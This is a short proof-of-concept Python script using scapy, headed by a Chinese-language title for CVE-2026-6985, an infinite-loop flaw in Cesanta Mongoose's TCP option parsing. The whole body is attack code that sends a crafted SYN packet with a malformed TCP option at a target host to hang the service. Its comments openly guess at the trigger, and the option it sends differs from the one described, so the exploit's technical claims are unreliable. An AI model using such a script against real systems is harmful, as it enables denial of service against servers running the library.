CVE-2026-6985 Cesanta Mongoose TCP选项处理无限循环漏洞

# PoC for CVE-2026-6985 # This script sends a TCP packet with a malformed TCP option to trigger the infinite loop. # Requires scapy: pip install scapy from scapy.all import * TARGET_IP = "192.168.1.100" # Replace with target IP TARGET_PORT = 80 # Replace with target port def send_malicious_packet(): # Construct a TCP packet with a specific malformed option # The vulnerability is triggered by manipulating optlen in the TCP options. # We simulate a scenario where the option length causes the parsing loop to fail. # Malformed option: Kind 255 (Experimental), Length 0 (invalid) # or a specific length that breaks the loop condition in handle_opt. # Assuming the vulnerability is related to reading past bounds or incorrect decrement. malformed_packet = IP(dst=TARGET_IP) / TCP( sport=RandShort(), dport=TARGET_PORT, flags="S", options=[(254, b"\x00")] # Option kind 254 with specific data to trigger optlen issue ) print(f"[*] Sending malicious packet to {TARGET_IP}:{TARGET_PORT}") send(malformed_packet) print("[+] Packet sent.") if __name__ == "__main__": send_malicious_packet()